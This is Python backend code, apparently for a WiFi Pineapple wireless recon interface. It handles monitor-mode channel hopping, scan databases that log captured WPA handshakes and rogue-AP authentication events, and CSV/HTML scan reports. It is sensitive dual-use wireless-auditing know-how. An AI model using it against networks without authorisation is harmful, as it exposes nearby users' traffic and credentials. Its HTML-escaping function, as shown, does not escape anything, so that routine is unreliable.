if 'not supported' in text or 'operation not permitted' in text:
|
|
return 'unsupported'
|
|
if 'invalid argument' in text:
|
|
return 'bad_channel'
|
|
return 'other'
|
|
|
|
|
|
def _phy1_pinned():
|
|
try:
|
|
if _radio1_ap_active():
|
|
return True
|
|
except Exception:
|
|
pass
|
|
try:
|
|
return bool(_ent_running())
|
|
except Exception:
|
|
return False
|
|
|
|
|
|
def _wifi_client_mode_enabled():
|
|
"""Pager UI Wireless Client Mode (wlan0cli), not the dummy STA."""
|
|
cfg = _uci_wifi_iface('wlan0cli') or {}
|
|
return bool(cfg) and cfg.get('disabled') != '1'
|
|
|
|
|
|
def _wlan0_mgmt_enabled():
|
|
cfg = _uci_wifi_iface('wlan0mgmt') or {}
|
|
return bool(cfg) and cfg.get('disabled') != '1'
|
|
|
|
|
|
def _iface_admin_up(name):
|
|
rc, out, err = device_run(['ip', 'link', 'show', 'dev', name], timeout=5)
|
|
if rc != 0:
|
|
return False
|
|
start = (out or '').find('<')
|
|
end = (out or '').find('>', start)
|
|
if start < 0 or end < 0:
|
|
return False
|
|
return 'UP' in [flag for flag in out[start + 1:end].split(',') if flag]
|
|
|
|
|
|
def _iface_associated(name):
|
|
rc, out, err = device_run(['iw', 'dev', name, 'link'], timeout=5)
|
|
return 'connected to' in (out or '').lower()
|
|
|
|
|
|
def _dummy_sta_borrowable():
|
|
"""True when dummy wlan0 is the only phy0 pin and is safe to park.
|
|
|
|
Never parks real Client Mode, a 2.4 GHz AP, or an associated STA.
|
|
Does not write UCI.
|
|
"""
|
|
if _wifi_client_mode_enabled() or _wlan0_pinned() or _wlan0_mgmt_enabled():
|
|
return False
|
|
if _iface_associated('wlan0') or _iface_associated('wlan0cli'):
|
|
return False
|
|
return _sta_uplink_enabled() or _iface_admin_up('wlan0')
|
|
|
|
|
|
def _borrow_dummy_sta():
|
|
"""Admin-down dummy wlan0 for the scan. Restored when the scan ends."""
|
|
if _recon_hop_state.get('borrowed_wlan0'):
|
|
return True
|
|
rc, out, err = device_run(['ip', 'link', 'set', 'wlan0', 'down'], timeout=10)
|
|
if rc != 0:
|
|
return False
|
|
_recon_hop_state['borrowed_wlan0'] = True
|
|
return True
|
|
|
|
|
|
def _restore_dummy_sta():
|
|
if not _recon_hop_state.get('borrowed_wlan0'):
|
|
return
|
|
try:
|
|
device_run(['ip', 'link', 'set', 'wlan0', 'up'], timeout=10)
|
|
finally:
|
|
_recon_hop_state['borrowed_wlan0'] = False
|
|
|
|
|
|
def _keep_dummy_sta_parked():
|
|
if not _recon_hop_state.get('borrowed_wlan0'):
|
|
return
|
|
if _iface_admin_up('wlan0'):
|
|
device_run(['ip', 'link', 'set', 'wlan0', 'down'], timeout=10)
|
|
|
|
|
|
def _iface_pin_reason(interface):
|
|
"""Human reason + hint when a monitor cannot change channel."""
|
|
if interface == 'wlan0mon':
|
|
if _wifi_client_mode_enabled():
|
|
return ('2.4 GHz hopping skipped: Wireless Client Mode is holding phy0.',
|
|
'Turn off Client Mode in Settings to hop 2.4 GHz.')
|
|
if _wlan0_pinned():
|
|
return ('2.4 GHz hopping skipped: Open AP / Evil WPA is holding phy0.',
|
|
'Stop the 2.4 GHz AP to hop 2.4 GHz.')
|
|
if _wlan0_mgmt_enabled():
|
|
return ('2.4 GHz hopping skipped: the management AP is holding phy0.',
|
|
'Stop the 2.4 GHz management AP to hop 2.4 GHz.')
|
|
if _sta_uplink_enabled() or _iface_admin_up('wlan0'):
|
|
return ('2.4 GHz hopping skipped: the firmware dummy STA (wlan0) is holding phy0.',
|
|
'Recon parks this automatically when Client Mode and 2.4 GHz APs are off.')
|
|
return ('2.4 GHz hopping skipped: wlan0mon is busy.',
|
|
'Stop other 2.4 GHz tools (captures, hostapd) and retry.')
|
|
if interface == 'wlan1mon':
|
|
if _phy1_pinned():
|
|
return ('5 GHz hopping skipped: a 5 GHz AP is holding phy1.',
|
|
'Stop the 5 GHz Open / WPA / Enterprise AP to hop 5 GHz.')
|
|
return ('5 GHz hopping skipped: wlan1mon is busy.',
|
|
'Stop other 5 GHz tools and retry.')
|
|
return ('%s is unavailable.' % interface, 'Check Health and retry.')
|
|
|
|
|
|
def _reset_recon_hop_state():
|
|
_restore_dummy_sta()
|
|
_recon_hop_state.update({
|
|
'active': False, 'error': None, 'warning': None, 'hint': None,
|
|
'ifaces': [], 'skipped': {}, 'borrowed_wlan0': False,
|
|
})
|
|
|
|
|
|
def _recon_hopper_preflight():
|
|
"""Prepare monitors for a scan without blocking recon on one busy radio.
|
|
|
|
Channel control is probed once per radio. A busy phy (Resource busy -16)
|
|
is skipped so the other radio can still hop. Native recon still starts
|
|
as long as at least one monitor interface is up; hopping is best-effort.
|
|
"""
|
|
_reset_recon_hop_state()
|
|
try:
|
|
_raise_monitors()
|
|
except Exception:
|
|
pass
|
|
hoppable = []
|
|
skipped = {}
|
|
hints = []
|
|
for interface, channels in RECON_CHANNELS.items():
|
|
if _monitor_down(interface):
|
|
try:
|
|
device_run(['ip', 'link', 'set', interface, 'up'], timeout=10)
|
|
except Exception:
|
|
pass
|
|
probe = channels[0]
|
|
ok, detail = _set_monitor_channel(interface, probe)
|
|
if (not ok and interface == 'wlan0mon'
|
|
and _iw_error_kind(detail) == 'busy'
|
|
and _dummy_sta_borrowable()):
|
|
if _borrow_dummy_sta():
|
|
ok, detail = _set_monitor_channel(interface, probe)
|
|
if not ok:
|
|
ok, detail = _set_monitor_channel(interface, probe)
|
|
if not ok:
|
|
_restore_dummy_sta()
|
|
if not ok:
|
|
ok, detail = _set_monitor_channel(interface, probe)
|
|
if ok:
|
|
hoppable.append(interface)
|
|
continue
|
|
kind = _iw_error_kind(detail)
|
|
if kind == 'missing':
|
|
reason = '%s is missing.' % interface
|
|
hint = 'Bring monitors up from Health, or restart pineapd.'
|
|
elif kind == 'down':
|
|
reason = '%s is down.' % interface
|
|
hint = 'Mark VIII tried to bring it up; retry or check Health.'
|
|
else:
|
|
reason, hint = _iface_pin_reason(interface)
|
|
skipped[interface] = reason
|
|
if hint:
|
|
hints.append(hint)
|
|
_recon_hop_state['ifaces'] = hoppable
|
|
_recon_hop_state['skipped'] = skipped
|
|
up = [name for name in RECON_CHANNELS if not _monitor_down(name)]
|
|
if not hoppable and not up:
|
|
msg = 'Recon radios are unavailable. ' + ' '.join(
|
|
skipped.get(name, '') for name in RECON_CHANNELS).strip()
|
|
_recon_hop_state['hint'] = ' '.join(hints) or 'Check Health and try again.'
|
|
return False, msg or 'Recon radios are unavailable'
|
|
if skipped:
|
|
bands = []
|
|
if 'wlan0mon' in hoppable:
|
|
bands.append('2.4 GHz')
|
|
if 'wlan1mon' in hoppable:
|
|
bands.append('5 GHz')
|
|
prefix = ' '.join(skipped[name] for name in RECON_CHANNELS if name in skipped)
|
|
if bands:
|
|
warning = '%s Scanning %s only.' % (prefix, ' and '.join(bands))
|
|
else:
|
|
warning = '%s Recon will still run on the currently pinned channel(s).' % prefix
|
|
_recon_hop_state['warning'] = warning
|
|
_recon_hop_state['hint'] = ' '.join(hints)
|
|
return True, warning
|
|
return True, 'monitor channel control ready'
|
|
|
|
|
|
def _recon_hopper_loop(duration, stop_event):
|
|
deadline = time.monotonic() + duration
|
|
hoppable = [name for name in (_recon_hop_state.get('ifaces') or [])
|
|
if name in RECON_CHANNELS]
|
|
if not hoppable:
|
|
_recon_hop_state['active'] = False
|
|
return
|
|
offsets = dict((interface, 1) for interface in hoppable)
|
|
_recon_hop_state['active'] = True
|
|
_recon_hop_state['error'] = None
|
|
try:
|
|
while not stop_event.is_set() and time.monotonic() < deadline:
|
|
try:
|
|
_keep_dummy_sta_parked()
|
|
except Exception:
|
|
pass
|
|
cycle_error = None
|
|
for interface in hoppable:
|
|
channels = RECON_CHANNELS[interface]
|
|
index = offsets[interface] % len(channels)
|
|
ok, detail = _set_monitor_channel(interface, channels[index])
|
|
if not ok:
|
|
cycle_error = detail
|
|
offsets[interface] = index + 1
|
|
_recon_hop_state['error'] = cycle_error
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
break
|
|
stop_event.wait(min(RECON_HOP_INTERVAL, remaining))
|
|
finally:
|
|
if stop_event is _recon_hopper_stop:
|
|
_recon_hop_state['active'] = False
|
|
scanning, _ = _recon_scan_snapshot()
|
|
if not scanning:
|
|
try:
|
|
_restore_dummy_sta()
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def _start_recon_hopper(duration):
|
|
global _recon_hopper_stop
|
|
_recon_hopper_stop.set()
|
|
hoppable = [name for name in (_recon_hop_state.get('ifaces') or [])
|
|
if name in RECON_CHANNELS]
|
|
if not hoppable:
|
|
_recon_hop_state['active'] = False
|
|
_restore_dummy_sta()
|
|
return None
|
|
stop_event = threading.Event()
|
|
_recon_hopper_stop = stop_event
|
|
thread = threading.Thread(
|
|
target=_recon_hopper_loop, args=(duration, stop_event), daemon=True,
|
|
name='recon-channel-hopper')
|
|
thread.start()
|
|
return thread
|
|
|
|
|
|
_hopper_cache = {'updated': 0, 'online': None}
|
|
HOPPER_CACHE_SECONDS = 10.0
|
|
|
|
|
|
def _hopper_online():
|
|
"""Whether both monitor interfaces required by the scheduler exist.
|
|
|
|
iwinfo is a subprocess, so the answer is cached for a few seconds; the
|
|
UI polls status every 5s.
|
|
"""
|
|
now = time.time()
|
|
if now - _hopper_cache['updated'] < HOPPER_CACHE_SECONDS:
|
|
return _hopper_cache['online']
|
|
try:
|
|
interfaces = wifi_ifaces()
|
|
online = all(name in interfaces for name in RECON_CHANNELS)
|
|
except Exception:
|
|
online = None
|
|
_hopper_cache.update({'updated': now, 'online': online})
|
|
return online
|
|
|
|
|
|
def _recon_history_reset():
|
|
"""True when pineapd rotated the live db (error-*-recon.db exists)."""
|
|
directory = os.path.dirname(RECON_DB)
|
|
try:
|
|
names = os.listdir(directory)
|
|
except OSError:
|
|
return False
|
|
return any(n.startswith('error-') and n.endswith('recon.db') for n in names)
|
|
|
|
|
|
def h_recon_status(ctx):
|
|
scanning, remaining = _recon_scan_snapshot()
|
|
cache = _recon_status_cache
|
|
if cache['db'] != RECON_DB:
|
|
cache.update({'db': RECON_DB, 'updated': 0,
|
|
'last_scan': None, 'last_activity': None})
|
|
stale = False
|
|
try:
|
|
rows = _db_rows(RECON_DB,
|
|
'SELECT (SELECT MAX(time) FROM scan) AS last_scan, '
|
|
'(SELECT MAX(time) FROM wifi_device) AS last_activity')
|
|
if rows:
|
|
cache['last_scan'] = rows[0].get('last_scan')
|
|
cache['last_activity'] = rows[0].get('last_activity')
|
|
cache['updated'] = time.time()
|
|
except RuntimeError:
|
|
stale = True
|
|
last = cache['last_scan']
|
|
last_activity = cache['last_activity']
|
|
if last_activity is None:
|
|
last_activity = last
|
|
return 200, {'last_scan': last, 'last_activity': last_activity,
|
|
'active': last_activity is not None and int(time.time()) - last_activity < 300,
|
|
'scanning': scanning, 'scan_remaining': remaining, 'stale': stale,
|
|
'hopper_online': _hopper_online(),
|
|
'hopper_error': _recon_hop_state.get('error'),
|
|
'hopper_warning': _recon_hop_state.get('warning'),
|
|
'hopper_hint': _recon_hop_state.get('hint'),
|
|
'hopper_ifaces': list(_recon_hop_state.get('ifaces') or []),
|
|
'wlan0_pinned': _wlan0_pinned(),
|
|
'wlan0_sta': _sta_uplink_enabled(),
|
|
'dummy_sta_parked': bool(_recon_hop_state.get('borrowed_wlan0')),
|
|
'history_reset': _recon_history_reset()}
|
|
|
|
|
|
def _db_write(db, sql):
|
|
if sqlite3 is not None:
|
|
conn = sqlite3.connect(db)
|
|
try:
|
|
conn.execute(sql)
|
|
conn.commit()
|
|
finally:
|
|
conn.close()
|
|
return
|
|
rc, out, err = device_run([SQLITE_CLI, '-cmd', '.timeout 5000', db, sql])
|
|
attempt = 1
|
|
while rc != 0 and any(m in (err or '') for m in SQLITE_BUSY_MSGS) and attempt < 5:
|
|
time.sleep(0.3)
|
|
rc, out, err = device_run([SQLITE_CLI, '-cmd', '.timeout 5000', db, sql])
|
|
attempt += 1
|
|
if rc != 0:
|
|
raise RuntimeError('sqlite write failed: %s' % (err or out).strip())
|
|
|
|
|
|
RECON_CHILD_TABLES = ['wifi_device', 'ssid', 'handshake', 'hostap_chalresp',
|
|
'hostap_basic', 'hostap_client', 'hostap_handshake']
|
|
|
|
|
|
def recon_delete_scan(scan_id):
|
|
for t in RECON_CHILD_TABLES:
|
|
try:
|
|
_db_write(RECON_DB, 'DELETE FROM %s WHERE scan = %d' % (t, scan_id))
|
|
except Exception:
|
|
continue
|
|
_db_write(RECON_DB, 'DELETE FROM scan WHERE id = %d' % scan_id)
|
|
|
|
|
|
def h_recon_delete(ctx):
|
|
scan_id = int(ctx.args[0])
|
|
if not _db_rows(RECON_DB, 'SELECT id FROM scan WHERE id = %d' % scan_id):
|
|
return 404, {'error': 'scan not found'}
|
|
recon_delete_scan(scan_id)
|
|
return 200, {'ok': True}
|
|
|
|
|
|
def h_recon_delete_all(ctx):
|
|
"""Clear every recorded scan from the live recon database. Rotated
|
|
archive files (error-*/diagnostic-* recon dbs) are left untouched."""
|
|
count = 0
|
|
try:
|
|
rows = _db_rows(RECON_DB, 'SELECT COUNT(*) AS c FROM scan', timeout=20)
|
|
count = rows[0]['c'] if rows else 0
|
|
except RuntimeError:
|
|
pass
|
|
for t in RECON_CHILD_TABLES + ['scan']:
|
|
try:
|
|
_db_write(RECON_DB, 'DELETE FROM %s' % t)
|
|
except Exception:
|
|
continue
|
|
_recon_scans_cache['updated'] = 0
|
|
return 200, {'ok': True, 'deleted': count}
|
|
|
|
|
|
def h_recon_scan_download(ctx):
|
|
scan_id = int(ctx.args[0])
|
|
data = recon_scan_data(scan_id)
|
|
if data is None:
|
|
return 404, {'error': 'scan not found'}
|
|
return 200, Download(json.dumps(data, indent=2).encode('utf-8'),
|
|
'application/json', 'scan-%d.json' % scan_id)
|
|
|
|
|
|
def recon_events_data(limit=200):
|
|
sql = ("SELECT time, 'auth attempt' AS type FROM hostap_basic WHERE time IS NOT NULL "
|
|
"UNION ALL SELECT time, 'challenge response' FROM hostap_chalresp WHERE time IS NOT NULL "
|
|
"UNION ALL SELECT time, 'handshake' FROM hostap_handshake WHERE time IS NOT NULL "
|
|
"UNION ALL SELECT time, 'wpa handshake' FROM handshake WHERE time IS NOT NULL "
|
|
"ORDER BY time DESC LIMIT %d" % limit)
|
|
try:
|
|
rows = _db_rows(RECON_DB, sql)
|
|
except Exception:
|
|
rows = []
|
|
return {'events': [{'time': r.get('time'), 'type': r.get('type')} for r in rows]}
|
|
|
|
|
|
def h_recon_events(ctx):
|
|
return 200, recon_events_data()
|
|
|
|
|
|
def _examine_seconds(body):
|
|
try:
|
|
seconds = int(body.get('seconds')) if body.get('seconds') is not None else 30
|
|
except (TypeError, ValueError):
|
|
seconds = 30
|
|
return max(8, min(seconds, 600))
|
|
|
|
|
|
def h_recon_examine(ctx):
|
|
body = getattr(ctx, 'body', None) or {}
|
|
bssid = fmt_mac((body.get('bssid') or '').strip())
|
|
if bssid in ('', '--'):
|
|
bssid = ''
|
|
channel = body.get('channel')
|
|
seconds = _examine_seconds(body)
|
|
try:
|
|
if bssid:
|
|
if not re.match(r'^[0-9A-Fa-f]{2}(:[0-9A-Fa-f]{2}){5}$', bssid):
|
|
return 400, {'error': 'invalid BSSID'}
|
|
hak5('PINEAPPLE_EXAMINE_BSSID', bssid.upper(), str(seconds))
|
|
elif channel is not None:
|
|
ch = int(channel)
|
|
if ch < 1 or ch > 233:
|
|
return 400, {'error': 'invalid channel'}
|
|
hak5('PINEAPPLE_EXAMINE_CHANNEL', str(ch), str(seconds))
|
|
else:
|
|
return 400, {'error': 'examine requires bssid or channel'}
|
|
except RuntimeError as exc:
|
|
detail = str(exc)
|
|
scanning, remaining = _recon_scan_snapshot()
|
|
if scanning:
|
|
return 409, {
|
|
'error': 'Examine needs an idle radio; wait for the current scan to finish',
|
|
'detail': detail,
|
|
'scan_remaining': remaining,
|
|
}
|
|
return 502, {'error': 'examine failed', 'detail': detail}
|
|
return 200, {'ok': True, 'seconds': seconds}
|
|
|
|
|
|
def h_recon_scans(ctx):
|
|
cache = _recon_scans_cache
|
|
if cache['db'] != RECON_DB:
|
|
cache.update({'db': RECON_DB, 'updated': 0, 'data': {'scans': []}})
|
|
try:
|
|
cache['data'] = recon_scans_data()
|
|
cache['updated'] = time.time()
|
|
except RuntimeError:
|
|
if not cache['updated'] or time.time() - cache['updated'] > 120:
|
|
return 503, {'error': 'recon database is temporarily unavailable'}
|
|
return 200, dict(cache['data'], stale=True)
|
|
return 200, dict(cache['data'], stale=False)
|
|
|
|
|
|
def h_recon_scan_detail(ctx):
|
|
scan_id = int(ctx.args[0])
|
|
# Bounded + retried: the live view polls this every few seconds, and an
|
|
# unbounded read across ssid/wifi_device can hold the DB long enough to
|
|
# make pineapd rotate it (SQLITE_BUSY -> error-*-recon.db).
|
|
try:
|
|
data = _recon_read_retry(lambda: recon_scan_data(
|
|
scan_id, _timeout=15, _limit=300))
|
|
except RuntimeError:
|
|
return 503, {'error': 'recon database is temporarily unavailable'}
|
|
if data is None:
|
|
return 404, {'error': 'scan not found'}
|
|
return 200, data
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Recon report helpers (CSV / HTML) for scan downloads.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def _fmt_ts(ts):
|
|
if not ts:
|
|
return '--'
|
|
try:
|
|
return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(ts)))
|
|
except (ValueError, OSError, TypeError):
|
|
return str(ts)
|
|
|
|
|
|
def _csv_escape(v):
|
|
v = '' if v is None else str(v)
|
|
if any(c in v for c in ',"\n\r'):
|
|
return '"' + v.replace('"', '""') + '"'
|
|
return v
|
|
|
|
|
|
def _identity_label(identity):
|
|
identity = identity or {}
|
|
manufacturer = identity.get('manufacturer') or 'Unknown'
|
|
model = identity.get('model')
|
|
if model:
|
|
return '%s %s' % (manufacturer, model)
|
|
if manufacturer == 'Unknown' and identity.get('oui'):
|
|
return 'Unknown (%s)' % identity['oui']
|
|
return manufacturer
|
|
|
|
|
|
def _association_label(association):
|
|
parts = [association.get('ssid') or '(hidden)']
|
|
if association.get('bssid'):
|
|
parts.append(association['bssid'])
|
|
if association.get('sources'):
|
|
parts.append('[' + ', '.join(association['sources']) + ']')
|
|
return ' '.join(parts)
|
|
|
|
|
|
def _aps_csv(data):
|
|
out = ['bssid,ssid,hidden,band,channel,freq,encryption,signal,vendor,first_seen,last_seen,Device Identity,Client Count,Confirmed SSIDs']
|
|
for a in (data or {}).get('aps') or []:
|
|
confirmed = []
|
|
for client in a.get('clients') or []:
|
|
for association in client.get('associations') or []:
|
|
if association.get('bssid') == a.get('bssid'):
|
|
confirmed.append(association.get('ssid') or '(hidden)')
|
|
out.append(','.join(_csv_escape(x) for x in [
|
|
a.get('bssid'), a.get('ssid'), int(bool(a.get('hidden'))),
|
|
a.get('band'), a.get('channel'), a.get('freq'),
|
|
a.get('encryption'), a.get('signal'), a.get('vendor'),
|
|
_fmt_ts(a.get('first_seen')), _fmt_ts(a.get('last_seen')),
|
|
_identity_label(a.get('device_identity')), a.get('client_count', 0),
|
|
'; '.join(sorted(set(confirmed)))]))
|
|
clients = (data or {}).get('clients') or []
|
|
if clients:
|
|
out.append('client_mac,client_identity,confirmed_associations')
|
|
for client in clients:
|
|
associations = [_association_label(a)
|
|
for a in client.get('associations') or []]
|
|
out.append(','.join(_csv_escape(x) for x in [
|
|
client.get('mac'), _identity_label(client.get('vendor')),
|
|
'; '.join(associations)]))
|
|
out.append('unassociated,%d' % ((data or {}).get('unassociated') or 0))
|
|
return '\r\n'.join(out) + '\r\n'
|
|
|
|
|
|
def _esc_html(v):
|
|
if v is None:
|
|
return ''
|
|
return (str(v).replace('&', '&').replace('<', '<')
|
|
.replace('>', '>').replace('"', '"'))
|
|
|
|
|
|
REPORT_CSS = """
|
|
body { font-family: -apple-system, 'Segoe UI', Roboto, sans-serif; margin: 24px; color: #222; background: #fff; }
|
|
h1 { font-size: 22px; margin: 0 0 2px; }
|
|
.sub { color: #666; margin-bottom: 2px; }
|
|
.meta { color: #888; font-size: 13px; margin: 4px 0 12px; }
|
|
.stat-cards { display: flex; flex-wrap: wrap; gap: 10px; margin: 14px 0 4px; }
|
|
.stat-card { border: 1px solid #e0e0e0; border-radius: 6px; padding: 10px 16px; min-width: 108px; background: #fafafa; }
|
|
.stat-value { font-size: 26px; font-weight: 700; line-height: 1.1; font-variant-numeric: tabular-nums; }
|
|
.stat-label { font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: #888; }
|
|
h2 { font-size: 15px; margin: 20px 0 8px; border-bottom: 2px solid #1a237e; padding-bottom: 4px; color: #1a237e; }
|
|
table { border-collapse: collapse; width: 100%; font-size: 13px; }
|
|
th, td { border: 1px solid #ddd; padding: 6px 10px; text-align: left; }
|
|
th { background: #f4f4f4; }
|
|
tr:nth-child(even) td { background: #fafafa; }
|
|
.sig-strong { color: #2e7d32; font-weight: 600; white-space: nowrap; }
|
|
.sig-good { color: #f9a825; font-weight: 600; white-space: nowrap; }
|
|
.sig-weak { color: #ef6c00; font-weight: 600; white-space: nowrap; }
|
|
.sig-dead { color: #c62828; font-weight: 600; white-space: nowrap; }
|
|
.empty { color: #888; font-style: italic; }
|
|
@media print { body { margin: 12px; } .stat-card { border-color: #ccc; } }
|
|
"""
|
|
|
|
|
|
def _html_table(headers, rows, raw_columns=None):
|
|
"""Render an HTML table. Cells are HTML-escaped unless their column index
|
|
is listed in raw_columns (caller-provided safe markup, e.g. colored
|
|
signal spans)."""
|
|
raw = set(raw_columns or ())
|
|
out = ['<table><thead><tr>']
|
|
for header in headers:
|
|
out.append('<th>%s</th>' % _esc_html(header))
|
|
out.append('</tr></thead><tbody>')
|
|
for row in rows:
|
|
out.append('<tr>')
|
|
for i, cell in enumerate(row):
|
|
out.append('<td>%s</td>' % (cell if i in raw else _esc_html(cell)))
|
|
out.append('</tr>')
|
|
out.append('</tbody></table>')
|
|
return ''.join(out)
|
|
|
|
|
|
def _html_doc(title, subtitle, body_html, stats=None, meta=None):
|
|
parts = ['<!DOCTYPE html><html><head><meta charset="utf-8"><title>%s</title>'
|
|
'<style>%s</style></head><body>' % (_esc_html(title), REPORT_CSS)]
|
|
parts.append('<h1>%s</h1>' % _esc_html(title))
|
|
parts.append('<div class="sub">%s</div>' % _esc_html(subtitle))
|
|
for line in (meta or []):
|
|
parts.append('<div class="meta">%s</div>' % _esc_html(line))
|
|
if stats:
|
|
parts.append('<div class="stat-cards">')
|
|
for label, value in stats:
|
|
parts.append('<div class="stat-card"><div class="stat-value">%s</div>'
|
|
'<div class="stat-label">%s</div></div>'
|
|
% (_esc_html(value), _esc_html(label)))
|
|
parts.append('</div>')
|
|
parts.append(body_html)
|
|
parts.append('</body></html>')
|
|
return ''.join(parts)
|
|
|
|
|
|
def _signal_html(dbm):
|
|
"""Color-coded dBm cell matching the UI thresholds."""
|
|
if dbm is None:
|
|
return '<span class="sig-dead">--</span>'
|
|
if dbm >= -50:
|
|
cls = 'sig-strong'
|
|
elif dbm >= -67:
|
|
cls = 'sig-good'
|
|
elif dbm >= -80:
|
|
cls = 'sig-weak'
|
|
else:
|
|
cls = 'sig-dead'
|
|
return '<span class="%s">%d dBm</span>' % (cls, dbm)
|
|
|
|
|
|
def _enc_bucket(enc):
|
|
"""Encryption display string -> coarse bucket (mirrors the UI chips)."""
|
|
s = (enc or '').strip()
|
|
if not s or s == 'Open':
|
|
return 'Open'
|
|
if 'WEP' in s:
|
|
return 'WEP'
|
|
if 'Enterprise' in s:
|
|
return 'WPA3-Enterprise' if 'WPA3' in s else 'WPA2-Enterprise'
|
|
if 'SAE' in s or 'OWE' in s:
|
|
return 'WPA3-Personal'
|
|
if 'WPA3' in s and 'WPA2' in s:
|
|
return 'WPA2-PSK' if 'PSK' in s else 'WPA3-PSK'
|
|
if 'WPA3' in s:
|
|
return 'WPA3-PSK'
|
|
if 'WPA2' in s:
|
|
return 'WPA2-PSK'
|
|
if 'WPA' in s:
|
|
return 'WPA'
|
|
return 'Unknown'
|
|
|
|
|
|
def _recon_read_retry(fn, attempts=3, pause=1.0):
|
|
"""Retry a recon.db read briefly; pineapd's write bursts hold the DB
|
|
exclusive lock and reads can time out mid-burst."""
|
|
last = None
|
|
for _ in range(attempts):
|
|
try:
|
|
return fn()
|
|
except RuntimeError as exc:
|
|
last = exc
|
|
time.sleep(pause)
|
|
raise last
|
|
|
|
|
|
def _scan_client_count(scan_id, _timeout=12, db=None):
|
|
if db is None:
|
|
db = RECON_DB
|
|
rows = _db_rows(db,
|
|
"SELECT count(*) AS c FROM wifi_device w WHERE w.scan = %d "
|
|
"AND w.mac NOT IN (SELECT DISTINCT bssid FROM ssid "
|
|
"WHERE scan = %d AND type = 8 AND bssid IS NOT NULL)"
|
|
% (scan_id, scan_id), timeout=_timeout)
|
|
return rows[0]['c'] if rows else 0
|
|
|
|
|
|
def h_recon_scan_download_csv(ctx):
|
|
scan_id = int(ctx.args[0])
|
|
try:
|
|
data = _recon_read_retry(lambda: recon_scan_data(scan_id, _timeout=15, _limit=300))
|
|
except RuntimeError:
|
|
return 503, {'error': 'recon database is temporarily unavailable'}
|
|
if data is None:
|
|
return 404, {'error': 'scan not found'}
|
|
return 200, Download(_aps_csv(data).encode('utf-8'), 'text/csv',
|
|
'scan-%d.csv' % scan_id)
|
|
|
|
|
|
def _recon_html_download(scan_id, data, client_count, archive=None):
|
|
"""Shared HTML report body for live and archived scans.
|
|
|
|
GPS metadata is only attached for live scans (an archive's data is
|
|
historical, so a current fix would be misleading).
|
|
"""
|
|
aps = data.get('aps') or []
|
|
scan = data.get('scan') or {}
|
|
meta = []
|
|
if archive is None:
|
|
try:
|
|
gps = _gps_status_data()
|
|
if gps.get('lock'):
|
|
meta.append('GPS: %.5f, %.5f%s' % (
|
|
gps.get('lat') or 0, gps.get('lon') or 0,
|
|
(' \u00b7 %d sats' % gps.get('satellites'))
|
|
if gps.get('satellites') else ''))
|
|
except Exception:
|
|
pass
|
|
stats = [('Access Points', len(aps)),
|
|
('Clients', client_count),
|
|
('Handshakes', len(data.get('handshakes') or [])),
|
|
('Unassociated', data.get('unassociated') or 0)]
|
|
body_parts = []
|
|
# Band and encryption breakdowns.
|
|
band_counts = {}
|
|
enc_counts = {}
|
|
for a in aps:
|
|
band_counts[a.get('band') or '--'] = band_counts.get(a.get('band') or '--', 0) + 1
|
|
b = _enc_bucket(a.get('encryption'))
|
|
enc_counts[b] = enc_counts.get(b, 0) + 1
|
|
body_parts.append('<h2>Band Breakdown</h2>')
|
|
body_parts.append(_html_table(['Band', 'Access Points'], sorted(
|
|
band_counts.items(), key=lambda kv: kv[1], reverse=True)))
|
|
body_parts.append('<h2>Encryption Breakdown</h2>')
|
|
body_parts.append(_html_table(['Encryption', 'Access Points'], sorted(
|
|
enc_counts.items(), key=lambda kv: kv[1], reverse=True)))
|
|
# Channel occupancy (count per channel, split by band).
|
|
chan_counts = {}
|
|
for a in aps:
|
|
if a.get('channel') is None:
|
|
continue
|
|
key = (a.get('band') or '--', a.get('channel'))
|
|
chan_counts[key] = chan_counts.get(key, 0) + 1
|
|
body_parts.append('<h2>Channel Occupancy</h2>')
|
|
if chan_counts:
|
|
chan_rows = [[band + ' GHz', ch, n] for (band, ch), n in sorted(
|
|
chan_counts.items(), key=lambda kv: (kv[0][0], kv[0][1]))]
|
|
body_parts.append(_html_table(['Band', 'Channel', 'Access Points'], chan_rows))
|
|
else:
|
|
body_parts.append('<p class="empty">No access points with a known channel.</p>')
|
|
# AP table with color-coded signal.
|
|
ap_rows = []
|
|
for a in aps:
|
|
ap_rows.append([a.get('ssid') or '(hidden)', a.get('bssid'),
|
|
a.get('band') or '--',
|
|
a.get('channel') if a.get('channel') is not None else '--',
|
|
_signal_html(a.get('signal')),
|
|
a.get('encryption') or '--',
|
|
_identity_label(a.get('device_identity')),
|
|
a.get('client_count', 0),
|
|
_fmt_ts(a.get('first_seen')), _fmt_ts(a.get('last_seen'))])
|
|
body_parts.append('<h2>Access Points</h2>')
|
|
body_parts.append(_html_table(['SSID', 'BSSID', 'Band', 'Ch', 'Signal',
|
|
'Encryption', 'Device Identity', 'Clients',
|
|
'First seen', 'Last seen'],
|
|
ap_rows, raw_columns=(4,)))
|
|
confirmed_rows = []
|
|
for client in data.get('clients') or []:
|
|
for association in client.get('associations') or []:
|
|
confirmed_rows.append([
|
|
client.get('mac'), _identity_label(client.get('vendor')),
|
|
association.get('ssid') or '(hidden)', association.get('bssid') or '--',
|
|
', '.join(association.get('sources') or [])])
|
|
body_parts.append('<h2>Confirmed Clients</h2>')
|
|
if confirmed_rows:
|
|
body_parts.append(_html_table(
|
|
['Client MAC', 'Device Identity', 'SSID', 'BSSID', 'Evidence'],
|
|
confirmed_rows))
|
|
else:
|
|
body_parts.append('<p class="empty">No confirmed clients.</p>')
|
|
subtitle = ('Pager recon capture report (archived history)'
|
|
if archive else 'Pager recon capture report')
|
|
return Download(_html_doc('Scan #%d' % scan.get('id'),
|
|
subtitle, '\n'.join(body_parts),
|
|
stats=stats, meta=meta).encode('utf-8'),
|
|
'text/html', 'scan-%d.html' % scan_id)
|
|
|
|
|
|
def h_recon_scan_download_html(ctx):
|
|
scan_id = int(ctx.args[0])
|
|
try:
|
|
data = _recon_read_retry(lambda: recon_scan_data(scan_id, _timeout=15, _limit=300))
|
|
client_count = _scan_client_count(scan_id, _timeout=12)
|
|
except RuntimeError:
|
|
return 503, {'error': 'recon database is temporarily unavailable'}
|
|
if data is None:
|
|
return 404, {'error': 'scan not found'}
|
|
return 200, _recon_html_download(scan_id, data, client_count)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
